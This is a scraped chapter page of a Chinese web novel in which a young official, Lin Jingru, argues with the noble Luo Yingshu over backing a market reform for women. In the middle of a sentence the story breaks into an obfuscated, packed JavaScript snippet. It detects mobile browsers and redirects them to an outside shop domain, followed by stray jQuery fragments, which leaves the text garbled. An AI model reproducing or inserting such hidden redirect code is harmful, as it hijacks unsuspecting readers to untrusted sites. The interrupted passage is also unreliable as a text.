默认冷灰
24号文字
方正启体

54. 第 54 章

作者:霁杉月本书字数:K更新时间:
    骆应枢撂下话,头也不回地向外走去。屋内众人心知肚明,那句“跟上”是对着谁说的。


    林景如垂眸,目光平静地掠过施政那张因强压怒意而微微扭曲的脸,随即转向温奇,无声请示。


    温奇几不可察地点了点头,眼神示意:去吧。


    留在这里,平白再惹人记恨。


    这些盘踞地方的世家大族,素来眼高于顶,对衙门庶务也时常指手画脚,碍于情面与制衡,他这个知府多有忍让,心中也憋了不少闷气。


    如今,总算有人能让他们也尝尝被压制的滋味了。


    待林景如退出去,温奇复又坐回上座,端起茶盏,面上带着和煦笑意,状似安抚地开口:


    “施家主不必介怀,殿下的性情,大家都是知晓的,向来直来直往。更何况,此桩新政,乃是陛下关切之事,我等臣子,唯有尽心竭力,岂有他念?”


    施政咬紧后槽牙,几乎是从牙缝里挤出附和之语:


    “大人所言极是!陛下圣明……只是,一想到区区一个寒门学子,仗着些许机缘,竟敢如此放肆,老夫实在……”


    “施家主!”温奇脸色一沉,打断他,语气带上了明显的不悦,“慎言!景如今日所作所为,皆在履行府衙公务。你此言,莫非真如殿下所说,是心中对府衙、对本官,积怨已久?”


    见温奇动怒,施政心头一凛,瞬间清醒过来。他连忙收敛怒容,扯出一个略显僵硬的笑容,打圆场道:


    “大人这是哪里话!老夫绝无此意!不过是觉得,此事关乎重大,那林景如终究年轻,阅历浅薄,只怕难当此任。为稳妥起见,何不另择更为老成持重之人?”


    他眼珠一转,顺势推出自家儿子:


    “要老夫说,麓山书院人才济济,比那林景如优秀的学子不知凡几。就说犬子明远,虽不敢称才高八斗,却也勤勉好学,是个可塑之才。若能为温兄分忧一二,岂不两全其美?”


    原来打的是这个算盘。


    温奇面上神色却愈发淡了。


    难怪方才那般急不可耐地贬低林景如,是想将这桩已见成效的“新政”,变成他们施家子弟晋身的台阶?真当这知府衙门是他施家的后花园了?


    “施家主的好意,本官心领了。”温奇不咸不淡地回了一句,端起茶盏抿了一口,直接转了话头,“今日开市景象,诸位也都看到了,后续如何维系繁荣,还需我等群策群力……”


    骆应枢一走,屋内凝滞的空气仿佛重新流动起来。


    众人极有眼色地忽略了方才的插曲,很快,雅间内又恢复了一片“祥和”的谈笑,话题从新政巧妙地转向了今年的收成、行市的行情,仿佛方才那场疾风骤雨从未发生。


    另一边,林景如快步走出那间令人窒息的雅间,踏入相对自由的走廊,心头那根紧绷的弦才稍稍松弛。


    她抬眼四处看去,却不见了骆应枢的身影。


    正待寻找,刚转过一个廊角,一道清贵挺拔的身影便无声无息地挡在面前,险些与她撞个满怀。


    林景如急退两步,稳住身形,垂首:“殿下。”


    骆应枢并未理会她,只从鼻间逸出一声冷哼,转身便推开了几步外另一间雅室的门,径自走了进去。


    林景如略一迟疑,跟了进去。


    门扉合拢,外间的喧闹立刻被隔开了大半。


    这间雅室布置得更为清雅,明窗净几,室内飘着淡淡的檀香,桌上还有一壶新沏的茶,白气袅袅。


    平淡像个无声的摆件,抱剑立在角落,向来聒噪的平安,此刻却不见踪影。


    “你就没什么与本世子解释的?”骆应枢旋身坐在小榻之上,指尖有一搭没一搭地轻叩着红木案几,目光却如实质般锁定了林景如。


    林景如脚步微顿。在继续装傻充愣与适度摊牌之间,她犹豫了一瞬。


    抬眼看去,骆应枢脸上并无真正动怒的迹象,那眼神更像是一种洞悉后的审视与等待。


    她心下稍定,索性坦然几分,拱手道:


    “殿下英明,法眼如炬,小人的这些心思,想来早已被殿下看穿,既然殿下已然明了,又何须小人再多言?”


    “本世子要听你说。”骆应枢语气沉了沉,带着不容置疑的命令意味,“亲口说。”


    林景如抬眸,飞快地看了他一眼,见他虽然面无表情,但眼底并无怒火,反而有种“看你如何巧舌如簧”的玩味。


    她定了定神,斟酌着开口:


    “殿下久居京城,自然深知世家大族盘根错节。江陵此地,虽不比京城显赫,然地方世家经营数代,其根基之深、行事之无忌,恐有过之而无不及。”


    她顿了顿,声音平稳,却带着一种冷静的剖析:


    “此番‘女子市集’新政,触及旧例,动摇某些人心中‘纲常’,若非借了殿下天潢贵胄的威名震慑,只怕那些世家早已按捺不住,明里暗里的阻挠绝不会如眼下这般‘温和’。”


    说到此,她唇角掠过一丝极淡的冷意,那双总是平静无波的眸子里,似乎有幽深的火焰一闪而过,比平日更多了几分锐利的人气。


    “殿下身为天家血脉,自幼聆听圣训,见识广博,心性……仁善。”她选了一个相对稳妥的词,“想来,必不会坐视此等利民之策,被些固守陈规、只顾私利之人暗中破坏,致使陛下仁政受阻,百姓失望吧?”


    话音刚落,骆应枢便嗤笑出声,将“仁善”二字在唇齿间玩味地捻了捻,仿佛听到了什么极为有趣的评价。


    林景如只作未闻,继续道:


    “再者,殿下游学江陵,若能亲眼见证、乃至促成此等惠及民生之举,他日回京,陛下问起,殿下亦能从容应对。想来,殿下亦不愿因些许琐碎阻挠,便使此行留下遗憾,徒惹……圣上不悦?”


    这番话,几乎是将骆应枢架在了高处。


    她敢如此直言,无非是料定了盛亲王府与天子同气连枝的根本立场。


    他是备受瞩目的世子,一旦“阻挠新政”、“无视民意”之类的风声传回京城,纵使他再受宠爱,也难免在君父心中留下芥蒂。


    她是在提醒他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998080|192531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,也是在变相地告诉他:此事不仅要办,还必须办好。这既是为民,也是为他自身考量。


    “你这是在威胁本世子?”骆应枢眯起眼,语气辨不出喜怒。


    林景如面上适时露出惶恐,连忙摇头:“殿下误会了,小人绝无此意,小人只是……陈述利害,为殿下谋划。”


    “那你倒是说说,你是如何‘为’本世子谋划的?”他好整以暇地追问,不依不饶。


    她心知,若不将这番道理说透,他绝不会轻易罢休,甚至可能反被激怒。


    稳了稳心神,她将早已思量过的说辞清晰道出:


    “殿下天纵英才,深受隆恩,更是太子殿下倚重的左膀右臂。来日青云直上,位极人臣,自不稀罕这点地方政绩的微末功劳。”


    “然而,此事于殿下或许是举手之劳,于天下万千挣扎求存的女子而言,却不亚于暗夜明灯,是能改变无数人命运的契机。”


    她略微抬高视线,声音里注入了一丝不易察觉的、引导般的憧憬:


    “他日史笔如铁,后人翻阅时,谁还会记得昔日江陵有个行事不羁的纨绔子弟骆应枢?人们只会记得,盛亲王世子年少游学,见民生多艰,于江陵助开女子市集,惠人无数,泽及地方。”


    “此等仁名善举,方配得上殿下麒麟之才,亦能为殿下将来……锦上添花。”


    说完,林景如悄然抬眸,去观察骆应枢的反应。


    却见对方不知听到了哪一句,神色竟有瞬间的怔然,薄唇微动,无声地重复着“人臣”、“纨绔子弟”几个字,眼神有些飘远。


    她微微蹙眉,心下疑惑,不知自己哪句话触动了对方。


    就在她暗自思量之际,骆应枢已回过神来。那片刻的失神仿佛只是错觉,取而代之的是唇边一抹更深的、带着凉意的弧度。


    “当真是放肆!”他斥道,语气里却听不出多少真正的责怪,更像是一种复杂的喟叹,“竟敢妄议朝局,揣测天心!本世子……当真是小看你了!”


    小看了什么?是她的胆量,她的心计,还是她这份步步为营的算计?他没有明说。


    林景如只当未闻,眼观鼻鼻观心,安静地站在原地,仿佛刚才那番大胆言论并非出自她口。


    “林景如,”骆应枢身体微微前倾,目光锐利如刀,仿佛要剖开她所有伪装,“所以你费尽心机,绕了这么大一个圈子,就是想将本世子……绑上你这艘破船?”


    见他已彻底点破,林景如索性不再迂回。她抬起眼,脸上竟摆出一副再诚挚不过的神情,缓缓道:


    “殿下明鉴,小人这点微末伎俩,自然瞒不过您。只是,小人此举,亦是为殿下着想,此船或许简陋,驶向的却是民心所向的彼岸,殿下今日登船,他日抵岸,所获之声望与民心,又岂是区区一条船所能衡量?”


    骆应枢轻哼一声,脸上露出一种“果然如此”和带着几分桀骜的自信。


    见他神色似有松动,林景如正欲再添一把火,将这番“互利”的道理说得更透彻些,却不想骆应枢话锋陡然一转。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)